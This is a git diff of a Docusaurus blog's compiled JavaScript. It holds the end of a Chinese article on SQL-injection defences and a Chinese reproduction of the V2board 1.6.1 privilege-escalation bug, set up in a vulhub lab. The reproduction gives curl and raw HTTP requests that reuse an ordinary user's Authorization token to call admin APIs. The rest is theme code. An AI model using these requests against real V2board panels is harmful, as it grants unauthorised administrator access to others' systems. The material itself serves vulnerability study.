",(0,d.jsx)(n.code,{children:"\u672c\u5730\u9884\u7f16\u8bd1"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u6a21\u62df\u9884\u7f16\u8bd1"})," \u540e\u8005\u53ea\u662f\u7531pdo\u4ee3\u6267\u884c\u2018\u9884\u7f16\u8bd1\u64cd\u4f5c\u2018 \uff0c\u4e0d\u80fd\u7b97\u771f\u6b63\u610f\u4e49\u4e0a\u7684\u9884\u7f16\u8bd1\uff0c\u5c31\u4f1a\u51fa\u73b0",(0,d.jsx)(n.code,{children:"\u5bbd\u5b57\u8282\u6ce8\u5165"}),"\u548c",(0,d.jsx)(n.code,{children:"\u4e8c\u6b21\u6ce8\u5165"}),"\u7684\u98ce\u9669\u3002\u800cPDO\u9ed8\u8ba4\u6a21\u5f0f\u5c31\u662f\u6a21\u62df\u9884\u7f16\u8bd1\uff0c\u6240\u4ee5\u518d\u6267\u884c\u65f6\uff0c\u6700\u597d\u8bbe\u7f6e"]}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:"$PDO -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n"})}),"\n",(0,d.jsx)(n.p,{children:"3\u3001\u540c\u6837\u7684JAVA\u4e5f\u5b58\u5728\u7c7b\u4f3c\u7684\u95ee\u9898\uff0c\u4ee5\u540e\u5b66\u4e60\u540e\u518d\u8865\u5145\u3002"}),"\n",(0,d.jsx)(n.h3,{id:"\u6570\u636e\u5e93\u5c42\u9762",children:"\u6570\u636e\u5e93\u5c42\u9762"}),"\n",(0,d.jsx)(n.h4,{id:"\u6700\u5c0f\u6743\u9650\u539f\u5219",children:"\u6700\u5c0f\u6743\u9650\u539f\u5219"}),"\n",(0,d.jsx)(n.p,{children:"\u9075\u5faa\u6700\u5c0f\u5316\u6743\u9650\u539f\u5219\uff0c\u4e25\u683c\u9650\u5236\u7f51\u7ad9\u7528\u6237\u7684\u6570\u636e\u5e93\u7684\u64cd\u4f5c\u6743\u9650\uff0c\u7981\u6b62\u5c06\u4efb\u4f55\u9ad8\u6743\u9650\u5e10\u6237\uff08sa\uff0cdba\u3001root\u7b49\uff09\u7528\u4e8e\u5e94\u7528\u7a0b\u5e8f\u6570\u636e\u5e93\u8bbf\u95ee\uff0c\u4ece\u800c\u6700\u5927\u9650\u5ea6\u7684\u51cf\u5c11\u6ce8\u5165\u653b\u51fb\u5bf9\u6570\u636e\u5e93\u7684\u5371\u5bb3\u3002"}),"\n",(0,d.jsx)(n.h4,{id:"\u7981\u7528\u654f\u611f\u51fd\u6570",children:"\u7981\u7528\u654f\u611f\u51fd\u6570"}),"\n",(0,d.jsx)(n.p,{children:"\u9632\u6b62\u653b\u51fb\u8005\u901a\u8fc7SQL\u6ce8\u5165\u83b7\u53d6\u5230\u9664\u6570\u636e\u5e93\u5916\u7684\u5176\u4ed6\u66f4\u9ad8\u6743\u9650\uff0c\u5982\u7cfb\u7edf\u6743\u9650\u7b49\uff1b"}),"\n",(0,d.jsxs)(n.p,{children:["\u6bd4\u5982MSSQL\u4e2d\uff0c\u62d2\u7edd\u7528\u6237\u8bbf\u95ee\u654f\u611f\u7684\u7cfb\u7edf\u5b58\u50a8\u8fc7\u7a0b\uff0c\u5982",(0,d.jsx)(n.code,{children:"xp_dirtree"}),"\u3001",(0,d.jsx)(n.code,{children:"xp_cmdshell"}),"\u7b49\u3002"]}),"\n",(0,d.jsx)(n.h4,{id:"\u6743\u9650\u63a7\u5236",children:"\u6743\u9650\u63a7\u5236"}),"\n",(0,d.jsx)(n.p,{children:"\u9650\u5236\u7528\u6237\u4ec5\u80fd\u591f\u8bbf\u95ee\u5fc5\u987b\u4f7f\u7528\u7684\u6570\u636e\u5e93\u8868\u3002"}),"\n",(0,d.jsx)(n.h4,{id:"\u7edf\u4e00\u7f16\u7801",children:"\u7edf\u4e00\u7f16\u7801"}),"\n",(0,d.jsx)(n.p,{children:"\u7f51\u7ad9\u4e0e\u6570\u636e\u5c42\u7684\u7f16\u7801\u7edf\u4e00\uff0c\u5efa\u8bae\u5168\u90e8\u4f7f\u7528UTF-8\u7f16\u7801\uff0c\u907f\u514d\u56e0\u4e0a\u4e0b\u5c42\u7f16\u7801\u4e0d\u4e00\u81f4\u5bfc\u81f4\u4e00\u4e9b\u8fc7\u6ee4\u6a21\u578b\u88ab\u7ed5\u8fc7\uff0c\u6bd4\u5982\u5bbd\u5b57\u8282\u6ce8\u5165\u7b49\u3002"}),"\n",(0,d.jsx)(n.h3,{id:"\u5176\u4ed6\u5c42\u9762",children:"\u5176\u4ed6\u5c42\u9762"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u7f51\u7ad9\u5e94\u907f\u514d\u629b\u51faSQL\u8bed\u53e5\u6267\u884c\u8fc7\u7a0b\u4e2d\u7684\u9519\u8bef\u4fe1\u606f\uff0c\u5982\u7c7b\u578b\u9519\u8bef\u3001\u5b57\u6bb5\u4e0d\u5339\u914d\u7b49\uff0c\u9632\u6b62\u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e9b\u9519\u8bef\u4fe1\u606f\u8fdb\u884c\u4e00\u4e9b\u5224\u65ad\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u4f7f\u7528\u901a\u7528\u9632\u6ce8\u5165\u7cfb\u7edf\uff0c\u6216\u8005\u90e8\u7f72WAF\u7b49\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u9776\u573a",children:"\u9776\u573a"}),"\n",(0,d.jsxs)(n.ul,{children:["\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://github.com/digininja/DVWA",children:"DVWA"})}),"\n"]}),"\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://github.com/Audi-1/sqli-labs",children:"sqli-labs"})}),"\n"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,d.jsxs)(n.ul,{children:["\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://blog.nowcoder.net/n/be73b8f592504ae8b1d00368433061be",children:"\u6df1\u5165\u7406\u89e3SQL\u6ce8\u5165\u4e0e\u9884\u7f16\u8bd1\uff08\u4e0b\uff09_\u725b\u5ba2\u535a\u5ba2 (nowcoder.net)"})}),"\n"]}),"\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/01.SQL%E6%B3%A8%E5%85%A5/",children:"SQL\u6ce8\u5165 \xb7 d4m1ts \u77e5\u8bc6\u5e93"})}),"\n"]}),"\n"]})]})}function x(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,d.jsx)(n,{...e,children:(0,d.jsx)(t,{...e})}):t(e)}}}]); \ No newline at end of file diff --git a/assets/js/a7456010.fc07457b.js b/assets/js/a7456010.fc07457b.js new file mode 100644 index 0000000..123909e --- /dev/null +++ b/assets/js/a7456010.fc07457b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1235],{88552:s=>{s.exports=JSON.parse('{"name":"docusaurus-plugin-content-pages","id":"default"}')}}]); \ No newline at end of file diff --git a/assets/js/a7af69da.a1bae181.js b/assets/js/a7af69da.a1bae181.js new file mode 100644 index 0000000..74b85b1 --- /dev/null +++ b/assets/js/a7af69da.a1bae181.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4176],{28453:(e,n,i)=>{i.d(n,{R:()=>r,x:()=>c});var t=i(96540);const s={},l=t.createContext(s);function r(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),t.createElement(l.Provider,{value:n},e.children)}},86487:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>d,contentTitle:()=>c,default:()=>p,frontMatter:()=>r,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","title":"privilege-escalation-1.6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/02.V2board/01.privilege-escalation-1.6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/02.V2board","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/02.V2board/01.privilege-escalation-1.6.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2022-38352","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352"},"next":{"title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237"}}');var s=i(74848),l=i(28453);const r={},c=void 0,d={},o=[{value:"\u6f0f\u6d1e\u73af\u5883",id:"\u6f0f\u6d1e\u73af\u5883",level:2},{value:"\u6f0f\u6d1e\u590d\u73b0",id:"\u6f0f\u6d1e\u590d\u73b0",level:2}];function a(e){const n={a:"a",blockquote:"blockquote",code:"code",del:"del",h2:"h2",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:47:37"})]})})]}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.del,{children:"\u65e0\u610f\u4e2d\u53d1\u73b0\u4e00\u4e2a\u673a\u573a\u7684\u7ba1\u7406\u7aef\u6709\u8fd9\u4e2a\u8d8a\u6743\u6f0f\u6d1e\u6240\u4ee5\u7b80\u5355\u590d\u73b0\u4e00\u4e0b"})}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"V2board\u662f\u4e00\u4e2a\u591a\u7528\u6237\u4ee3\u7406\u5de5\u5177\u7ba1\u7406\u9762\u677f\u3002\u5728\u51761.6.1\u7248\u672c\u4e2d\uff0c\u5f15\u5165\u4e86\u5bf9\u4e8e\u7528\u6237Session\u7684\u7f13\u5b58\u673a\u5236\uff0c\u670d\u52a1\u5668\u4f1a\u5c06\u7528\u6237\u7684\u8ba4\u8bc1\u4fe1\u606f\u50a8\u5b58\u5728Redis\u7f13\u5b58\u4e2d\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4f46\u7531\u4e8e\u8bfb\u53d6\u7f13\u5b58\u65f6\u6ca1\u6709\u6821\u9a8c\u8be5\u7528\u6237\u662f\u666e\u901a\u7528\u6237\u8fd8\u662f\u7ba1\u7406\u5458\uff0c\u5bfc\u81f4\u666e\u901a\u7528\u6237\u7684\u8ba4\u8bc1\u4fe1\u606f\u5373\u53ef\u8bbf\u95ee\u7ba1\u7406\u5458\u63a5\u53e3\uff0c\u9020\u6210\u63d0\u6743\u6f0f\u6d1e\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u53c2\u8003\u94fe\u63a5\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/v2board/v2board/commit/5976bcc65a61f7942ed4074b9274236d9d55d5f0",children:"https://github.com/v2board/v2board/commit/5976bcc65a61f7942ed4074b9274236d9d55d5f0"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u73af\u5883",children:"\u6f0f\u6d1e\u73af\u5883"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/vulhub/vulhub/tree/master/v2board/1.6-privilege-escalation",children:"V2board 1.6.1 Privilege Escalation"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u590d\u73b0",children:"\u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u4ee5\u4ece\u53c2\u8003\u8fde\u63a5\u4e2d\u627e\u5230\u4e00\u4e2a\u9274\u6743\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u4ece\u7f13\u5b58\u4e2d\u62ff\u5230\u8ba4\u8bc1\u540e\u5e76\u6ca1\u6709\u505a\u9274\u6743\uff0c\u6240\u4ee5\u4e00\u4e2a\u7528\u6237\u7684session \u53ef\u4ee5\u53bb\u8bbf\u95ee\u6240\u4ee5\u63a5\u53e3\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647523.png",alt:"image-20230129144621914"})}),"\n",(0,s.jsx)(n.p,{children:"\u590d\u73b0\u8be5\u6f0f\u6d1e\uff0c\u5fc5\u987b\u6ce8\u518c\u6216\u627e\u5230\u4e00\u4e2a\u666e\u901a\u7528\u6237\u8d26\u53f7\u3002\u6ce8\u518c\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u53d1\u9001\u5982\u4e0b\u8bf7\u6c42\u8fdb\u884c\u767b\u5f55\uff08\u5c06\u5176\u4e2d\u8d26\u53f7\u5bc6\u7801\u66ff\u6362\u6210\u4f60\u6ce8\u518c\u65f6\u4f7f\u7528\u7684\u4fe1\u606f\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'curl -i -s -X POST -d "email=test2%40test.com&password=12345678&invite_code=&email_code=" http://192.168.182.1:18080/api/v1/passport/auth/register\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647524.png",alt:"image-20230129150322091"})}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u518c\u5b8c\u6210\u540e\uff0c\u9009\u62e9\u767b\u5f55\u4f1a\u8fd4\u56deauth_data"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'curl -i -s -X POST -d "email=test%40test.com&password=12345678" http://192.168.182.1:18080/api/v1/passport/auth/login\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647525.png",alt:"image-20230129145843609"})}),"\n",(0,s.jsxs)(n.p,{children:["\u62f7\u8d1d\u8fd9\u4e2a\u8ba4\u8bc1\u4fe1\u606f\uff0c\u5e76\u66ff\u6362\u5230\u5982\u4e0b\u6570\u636e\u5305\u7684",(0,s.jsx)(n.code,{children:"Authorization"}),"\u5934\u4e2d\uff0c\u53d1\u9001\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"GET /api/v1/user/info HTTP/1.1\nHost: 192.168.182.1:18080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\nAccept: */*\nAuthorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk\nConnection: close\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6216\u8005"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:'curl -i -s -X GET -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk" http://192.168.182.1:18080/api/v1/user/info\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647526.png",alt:"image-20230129150050396"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647527.png",alt:"image-20230129150811848"})}),"\n",(0,s.jsx)(n.p,{children:"\u5199\u5165\u540e\uff0c\u5e26\u7740\u8fd9\u4e2aauth \u53bb\u8bf7\u6c42Admin\u7684Api\u5373\u53ef"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"GET /api/v1/admin/user/fetch HTTP/1.1\nHost: 192.168.182.1:18080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\nAccept: */*\nAuthorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk\nConnection: close\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6216\u8005"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-curl",children:'curl -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk" -i -s -X GET http://192.168.182.1:18080/api/v1/admin/user/fetch\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647528.png",alt:"image-20230129150731716"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647529.png",alt:"image-20230129150723125"})})]})}function p(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/a7bd4aaa.0fd773fc.js b/assets/js/a7bd4aaa.0fd773fc.js new file mode 100644 index 0000000..1daac95 --- /dev/null +++ b/assets/js/a7bd4aaa.0fd773fc.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7098],{31723:(n,e,s)=>{s.r(e),s.d(e,{default:()=>d});s(96540);var r=s(45500);function o(n,e){return`docs-${n}-${e}`}var t=s(23025),i=s(22831),c=s(41463),l=s(74848);function a(n){const{version:e}=n;return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(c.A,{version:e.version,tag:o(e.pluginId,e.version)}),(0,l.jsx)(r.be,{children:e.noIndex&&(0,l.jsx)("meta",{name:"robots",content:"noindex, nofollow"})})]})}function u(n){const{version:e,route:s}=n;return(0,l.jsx)(r.e3,{className:e.className,children:(0,l.jsx)(t.n,{version:e,children:(0,i.v)(s.routes)})})}function d(n){return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(a,{...n}),(0,l.jsx)(u,{...n})]})}}}]); \ No newline at end of file diff --git a/assets/js/a94703ab.3c1f8928.js b/assets/js/a94703ab.3c1f8928.js new file mode 100644 index 0000000..0153436 --- /dev/null +++ b/assets/js/a94703ab.3c1f8928.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9048],{23363:(e,t,n)=>{n.d(t,{A:()=>l});n(96540);var a=n(34164),i=n(21312),o=n(51107),s=n(74848);function l({className:e}){return(0,s.jsx)("main",{className:(0,a.A)("container margin-vert--xl",e),children:(0,s.jsx)("div",{className:"row",children:(0,s.jsxs)("div",{className:"col col--6 col--offset-3",children:[(0,s.jsx)(o.A,{as:"h1",className:"hero__title",children:(0,s.jsx)(i.A,{id:"theme.NotFound.title",description:"The title of the 404 page",children:"Page Not Found"})}),(0,s.jsx)("p",{children:(0,s.jsx)(i.A,{id:"theme.NotFound.p1",description:"The first paragraph of the 404 page",children:"We could not find what you were looking for."})}),(0,s.jsx)("p",{children:(0,s.jsx)(i.A,{id:"theme.NotFound.p2",description:"The 2nd paragraph of the 404 page",children:"Please contact the owner of the site that linked you to the original URL and let them know their link is broken."})})]})})})}},78115:(e,t,n)=>{n.r(t),n.d(t,{default:()=>ke});var a=n(96540),i=n(34164),o=n(45500),s=n(17559),l=n(44718),r=n(60609),c=n(21312),d=n(23104),u=n(75062);const m={backToTopButton:"backToTopButton_sjWU",backToTopButtonShow:"backToTopButtonShow_xfvO"};var b=n(74848);function h(){const{shown:e,scrollToTop:t}=function({threshold:e}){const[t,n]=(0,a.useState)(!1),i=(0,a.useRef)(!1),{startScroll:o,cancelScroll:s}=(0,d.gk)();return(0,d.Mq)(({scrollY:t},a)=>{const o=a?.scrollY;o&&(i.current?i.current=!1:t>=o?(s(),n(!1)):t{e.location.hash&&(i.current=!0,n(!1))}),{shown:t,scrollToTop:()=>o(0)}}({threshold:300});return(0,b.jsx)("button",{"aria-label":(0,c.T)({id:"theme.BackToTopButton.buttonAriaLabel",message:"Scroll back to top",description:"The ARIA label for the back to top button"}),className:(0,i.A)("clean-btn",s.G.common.backToTopButton,m.backToTopButton,e&&m.backToTopButtonShow),type:"button",onClick:t})}var p=n(53109),x=n(56347),j=n(24581),f=n(6342),g=n(23465);function v(e){return(0,b.jsx)("svg",{width:"20",height:"20","aria-hidden":"true",...e,children:(0,b.jsxs)("g",{fill:"#7a7a7a",children:[(0,b.jsx)("path",{d:"M9.992 10.023c0 .2-.062.399-.172.547l-4.996 7.492a.982.982 0 01-.828.454H1c-.55 0-1-.453-1-1 0-.2.059-.403.168-.551l4.629-6.942L.168 3.078A.939.939 0 010 2.528c0-.548.45-.997 1-.997h2.996c.352 0 .649.18.828.45L9.82 9.472c.11.148.172.347.172.55zm0 0"}),(0,b.jsx)("path",{d:"M19.98 10.023c0 .2-.058.399-.168.547l-4.996 7.492a.987.987 0 01-.828.454h-3c-.547 0-.996-.453-.996-1 0-.2.059-.403.168-.551l4.625-6.942-4.625-6.945a.939.939 0 01-.168-.55 1 1 0 01.996-.997h3c.348 0 .649.18.828.45l4.996 7.492c.11.148.168.347.168.55zm0 0"})]})})}const _="collapseSidebarButton_PEFL",k="collapseSidebarButtonIcon_kv0_";function A({onClick:e}){return(0,b.jsx)("button",{type:"button",title:(0,c.T)({id:"theme.docs.sidebar.collapseButtonTitle",message:"Collapse sidebar",description:"The title attribute for collapse button of doc sidebar"}),"aria-label":(0,c.T)({id:"theme.docs.sidebar.collapseButtonAriaLabel",message:"Collapse sidebar",description:"The title attribute for collapse button of doc sidebar"}),className:(0,i.A)("button button--secondary button--outline",_),onClick:e,children:(0,b.jsx)(v,{className:k})})}var C=n(65041),S=n(89532);const T=Symbol("EmptyContext"),N=a.createContext(T);function I({children:e}){const[t,n]=(0,a.useState)(null),i=(0,a.useMemo)(()=>({expandedItem:t,setExpandedItem:n}),[t]);return(0,b.jsx)(N.Provider,{value:i,children:e})}var y=n(41422),B=n(99169),L=n(28774),w=n(92303),E=n(16654),M=n(43186);const H="menuExternalLink_NmtK",P="linkLabel_WmDU";function G({label:e}){return(0,b.jsx)("span",{title:e,className:P,children:e})}function W({item:e,onItemClick:t,activePath:n,level:a,index:o,...r}){const{href:c,label:d,className:u,autoAddBaseUrl:m}=e,h=(0,l.w8)(e,n),p=(0,E.A)(c);return(0,b.jsx)("li",{className:(0,i.A)(s.G.docs.docSidebarItemLink,s.G.docs.docSidebarItemLinkLevel(a),"menu__list-item",u),children:(0,b.jsxs)(L.A,{className:(0,i.A)("menu__link",!p&&H,{"menu__link--active":h}),autoAddBaseUrl:m,"aria-current":h?"page":void 0,to:c,...p&&{onClick:t?()=>t(e):void 0},...r,children:[(0,b.jsx)(G,{label:d}),!p&&(0,b.jsx)(M.A,{})]})},d)}const R="categoryLink_byQd",D="categoryLinkLabel_W154";function U({collapsed:e,categoryLabel:t,onClick:n}){return(0,b.jsx)("button",{"aria-label":e?(0,c.T)({id:"theme.DocSidebarItem.expandCategoryAriaLabel",message:"Expand sidebar category '{label}'",description:"The ARIA label to expand the sidebar category"},{label:t}):(0,c.T)({id:"theme.DocSidebarItem.collapseCategoryAriaLabel",message:"Collapse sidebar category '{label}'",description:"The ARIA label to collapse the sidebar category"},{label:t}),"aria-expanded":!e,type:"button",className:"clean-btn menu__caret",onClick:n})}function F({label:e}){return(0,b.jsx)("span",{title:e,className:D,children:e})}function V(e){return 0===(0,l.Y)(e.item.items,e.activePath).length?(0,b.jsx)(Y,{...e}):(0,b.jsx)(K,{...e})}function Y({item:e,...t}){if("string"!=typeof e.href)return null;const{type:n,collapsed:a,collapsible:i,items:o,linkUnlisted:s,...l}=e,r={type:"link",...l};return(0,b.jsx)(W,{item:r,...t})}function K({item:e,onItemClick:t,activePath:n,level:o,index:r,...c}){const{items:d,label:u,collapsible:m,className:h,href:p}=e,{docs:{sidebar:{autoCollapseCategories:x}}}=(0,f.p)(),j=function(e){const t=(0,w.A)();return(0,a.useMemo)(()=>e.href&&!e.linkUnlisted?e.href:!t&&e.collapsible?(0,l.Nr)(e):void 0,[e,t])}(e),g=(0,l.w8)(e,n),v=(0,B.ys)(p,n),{collapsed:_,setCollapsed:k}=(0,y.u)({initialState:()=>!!m&&(!g&&e.collapsed)}),{expandedItem:A,setExpandedItem:C}=function(){const e=(0,a.useContext)(N);if(e===T)throw new S.dV("DocSidebarItemsExpandedStateProvider");return e}(),I=(e=!_)=>{C(e?null:r),k(e)};!function({isActive:e,collapsed:t,updateCollapsed:n,activePath:i}){const o=(0,S.ZC)(e),s=(0,S.ZC)(i);(0,a.useEffect)(()=>{(e&&!o||e&&o&&i!==s)&&t&&n(!1)},[e,o,t,n,i,s])}({isActive:g,collapsed:_,updateCollapsed:I,activePath:n}),(0,a.useEffect)(()=>{m&&null!=A&&A!==r&&x&&k(!0)},[m,A,r,k,x]);return(0,b.jsxs)("li",{className:(0,i.A)(s.G.docs.docSidebarItemCategory,s.G.docs.docSidebarItemCategoryLevel(o),"menu__list-item",{"menu__list-item--collapsed":_},h),children:[(0,b.jsxs)("div",{className:(0,i.A)("menu__list-item-collapsible",{"menu__list-item-collapsible--active":v}),children:[(0,b.jsx)(L.A,{className:(0,i.A)(R,"menu__link",{"menu__link--sublist":m,"menu__link--sublist-caret":!p&&m,"menu__link--active":g}),onClick:n=>{t?.(e),m&&(p?v?(n.preventDefault(),I()):I(!1):(n.preventDefault(),I()))},"aria-current":v?"page":void 0,role:m&&!p?"button":void 0,"aria-expanded":m&&!p?!_:void 0,href:m?j??"#":j,...c,children:(0,b.jsx)(F,{label:u})}),p&&m&&(0,b.jsx)(U,{collapsed:_,categoryLabel:u,onClick:e=>{e.preventDefault(),I()}})]}),(0,b.jsx)(y.N,{lazy:!0,as:"ul",className:"menu__list",collapsed:_,children:(0,b.jsx)(Z,{items:d,tabIndex:_?-1:0,onItemClick:t,activePath:n,level:o+1})})]})}const z="menuHtmlItem_M9Kj";function q({item:e,level:t,index:n}){const{value:a,defaultStyle:o,className:l}=e;return(0,b.jsx)("li",{className:(0,i.A)(s.G.docs.docSidebarItemLink,s.G.docs.docSidebarItemLinkLevel(t),o&&[z,"menu__list-item"],l),dangerouslySetInnerHTML:{__html:a}},n)}function O({item:e,...t}){switch(e.type){case"category":return(0,b.jsx)(V,{item:e,...t});case"html":return(0,b.jsx)(q,{item:e,...t});default:return(0,b.jsx)(W,{item:e,...t})}}function Q({items:e,...t}){const n=(0,l.Y)(e,t.activePath);return(0,b.jsx)(I,{children:n.map((e,n)=>(0,b.jsx)(O,{item:e,index:n,...t},n))})}const Z=(0,a.memo)(Q),J="menu_SIkG",X="menuWithAnnouncementBar_GW3s";function $({path:e,sidebar:t,className:n}){const o=function(){const{isActive:e}=(0,C.M)(),[t,n]=(0,a.useState)(e);return(0,d.Mq)(({scrollY:t})=>{e&&n(0===t)},[e]),e&&t}();return(0,b.jsx)("nav",{"aria-label":(0,c.T)({id:"theme.docs.sidebar.navAriaLabel",message:"Docs sidebar",description:"The ARIA label for the sidebar 